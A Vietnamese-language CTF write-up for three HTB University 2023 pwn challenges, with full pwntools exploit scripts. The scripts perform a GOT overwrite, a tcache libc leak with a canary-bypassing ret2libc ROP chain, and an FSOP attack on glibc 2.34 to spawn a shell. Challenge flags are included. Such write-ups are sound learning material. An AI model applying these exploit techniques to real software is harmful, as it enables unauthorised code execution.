Try   HackMD

(writeup) HTB University 2023

great old talisman

  • basic file check

image

  • check ida

image

main()

image

read_flag()

analyse:

  • nhập số v3 rồi read vào talis[v3] 2 byte

image

0x4040a0

  • nhìn thấy khi kết thúc chương trình, gọi đến exit(1312)
  • tận dụng khả năng ghi trên mà thay đổi exit@GOT

get flag

image

  • script:
from pwn import *

context.binary = exe = ELF('./great_old_talisman')

# p = process(exe.path)
p = remote('94.237.60.11',36842)

p.sendline(b'-4')

p.send(p32(exe.sym['read_flag'] & 0xffff))

p.interactive()
#HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}

HTB{th4nk_G0T_w3_h4v3_th15_t4l15m4n}


zombienator

  • basic file check

image

  • check ida

image

main()

image

create()
tạo chunk size tối đa 0x82
control được index chunk : *(&z + num)
không thể nhập gì vào chunk

image

removez()
free không xoá ptr

image

display()
in ra thôi

image

attack()
lần này cho phép nhập trên stack với bug BOF
kiểu nhập là %lf
sau đó fclose(stderr)fclose(stdout)
cuối cùng return

analyse

  • ở option cuối attack(), ta có thể chain payload để thực thi ret2libc
  • payload sẽ ép kiểu về dạng %lf
  • về canary thì bypass bằng dấu . (chấm)
  • tính toán vòng lặp:
v3[33] : 33 vòng buffer
34 canary
35 rbp
36 pop rdi
37 /bin/sh
38 system
#39 nếu bị xmm0

leak libc

  • vì là libc6 nên ta sẽ fill 9 chunk rồi free 8
  • sau đó display() là leak được

image

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./zombienator_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-linux-x86-64.so.2',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*attack+210
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('localhost',1337)
else:
        p = process(exe.path)

def add(size,idx):
        sla(b'>> ', b'1')
        sla(b'tier: ', str(size))
        sla(b'(5-9): ', str(idx))
def delete(idx):
        sla(b'>> ', b'2')
        sla(b'position: ', str(idx))

def display():
        sla(b'>> ', b'3')

def fmt(payload):
        sla(b': ', str(struct.unpack('d', p64(payload))[0]))

for i in range(0,9):
        add(0x80,i)
for j in range(0,8):
        delete(j)
display()
p.recvuntil(b'[7]: ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address = libc_leak - 0x219ce0 
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

sla(b'>> ', b'4')
sla(b'attacks: ', b'39')

for i in range(35):
        sla(b': ', b'.')

pop_rdi = libc.address + 0x000000000002a3e5

# GDB()

fmt(pop_rdi)
fmt(next(libc.search(b'/bin/sh\0')))
fmt(pop_rdi+1)
fmt(libc.sym['system'])

p.interactive()
#HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}

HTB{tc4ch3d_d0ubl3_numb3r5_4r3_0p}


zombiedote

  • basic file check

image

  • check ida

image

main()

image

create()
malloc với size lớn thoải mái
vượt 0x20000 khả năng sẽ tạo mmap

image

insert()
được insert 1 lần
input không vượt quá size chunk tạo ra

image

edit()
được edit 2 lần
maybe có lỗi OOB ở '%lu'

image

delete()
hàm sẽ exit chương trình
không có free

image

inspect()
tương tự hàm edit(), bug OOB ở '%lu' nhưng lần này sẽ leak cho ta dữ liệu

analyse

  • như ta đề cập trên, ở hàm create() sẽ có thể malloc lượng lớn size
  • đồng nghĩa tạo mmap với bit_in_use là 0x2 (xem thêm)

image

malloc size 0x1000000
input là 2097152 (0x200000) do còn nhân 8

image

trả về con trỏ không phải heap

image

leak libc

  • tiếp theo hoàn toàn có thể leak được libc nếu ta tận dụng bug OOB ở inspect()
  • thì ta sẽ tận dụng leak ở stdout
  • tính offset đến đó:

image

index = (0x1000ff0+stdout+8)/8
cộng 8 do địa chỉ đầu là _flags (0xfbad)

image
offset_base = 0x2197e3
offset sẽ khác trên server

p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'samples: ',str(0x1000000//8).encode())

stdout = libc.sym['_IO_2_1_stdout_']
info("stdout: " + hex(stdout))

offset = 0x1000ff0
p.sendlineafter(b'>> ',b'5')
leak = offset + stdout + 8
p.sendlineafter(b'inspect: ',str(leak//8).encode())
  • ngoài ra dữ liệu được leak sẽ ở dạng float nên cần convert về hex
libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0] 

IO_FILE struct attack

  • vì đi kèm libc2.34 nên khả năng lấy shell ở hook hay ret là bất khả thi
  • ta sẽ perform FSOP ở exit, không thể fake vtable thì ở 2.34 đã có security check (xem thêm)
  • perform exit cũng có nghĩa sẽ trigger option delete()
  • khi exit được call đến, nó sẽ duyệt qua các std ở _IO_list_all, nên _IO_list_all thay đổi thì sẽ execute fake file của mình
  • _IO_list_all trỏ đến stderr (xem thêm)
  • stderr thì có vtable trỏ đến __GI__IO_file_jumps

image

  • trong __GI__IO_file_jumps khi exit được call đến sẽ đá động tới __overflow

image

  • tóm lại cần ow 2 thứ:
    • fake file ở stderr
    • _overflow = system

fake file

  • _flag là b'/bin/sh\0' tương ứng $rdi
  • _IO_write_ptr > _IO_write_base
  • vtable = __GI__IO_file_jumps
__GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps']
_IO_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
base = libc.address - offset

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(28))
p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi
for i in range(3):
    p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01 
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base
for i in range(21):
    p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable
  • edit() thì sửa __GI__IO_file_jumps trỏ về fake file
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode())

_overflow

  • tương tự khi ow vtable
__overflow = __GI__IO_file_jumps  + 0x18
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((__overflow - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode())

get flag

image

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./zombiedote_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
ld = ELF('./ld-2.34.so',checksec=False)

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''
                b*create+98
                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('',)
else:
        p = process(exe.path)

p.sendlineafter(b'>> ',b'1')
p.sendlineafter(b'samples: ',str(0x1000000//8).encode())

stdout = libc.sym['_IO_2_1_stdout_']
info("stdout: " + hex(stdout))

offset = 0x1000ff0
p.sendlineafter(b'>> ',b'5')
leak = offset + stdout + 8
p.sendlineafter(b'inspect: ',str(leak//8).encode())
p.recvuntil(b'): ')
libc_leak = struct.unpack('Q', struct.pack('d', float(p.recvline()[:-1])))[0] 
libc.address = libc_leak - 0x2197e3
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))

__GI__IO_file_jumps = libc.sym['__GI__IO_file_jumps']
_IO_list_all = libc.sym['_IO_list_all']
system = libc.sym['system']
base = libc.address - offset

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b': ', str(28))
p.sendlineafter(b'): ', str(struct.unpack("d", b'/bin/sh\0')[0]).encode()) #0x0: _flags = /bin/sh\00, set rdi
for i in range(3):
    p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x01))[0]).encode()) #0x20: _IO_write_base = 0x01 
p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x02))[0]).encode()) #0x28: _IO_write_ptr = 0x02 > _IO_write_base
for i in range(21):
    p.sendlineafter(b'): ', str(struct.unpack("d", p64(0x00))[0]).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(__GI__IO_file_jumps))[0]).encode()) # 0xe8: vtable = __GI__IO_file_jumps , bypass IO_validate_vtable

p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((_IO_list_all - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(base))[0]).encode())

__overflow = __GI__IO_file_jumps  + 0x18
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b': ', str((__overflow - base)//8).encode())
p.sendlineafter(b'): ', str(struct.unpack("d", p64(system))[0]).encode())

p.sendlineafter(b'>> ', b'3')

p.interactive()
#>HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll}

HTB{y0u_r3tr13v3d_th3_r3s34rcH_n0t3s_4nd_s4v3d_u5_4ll}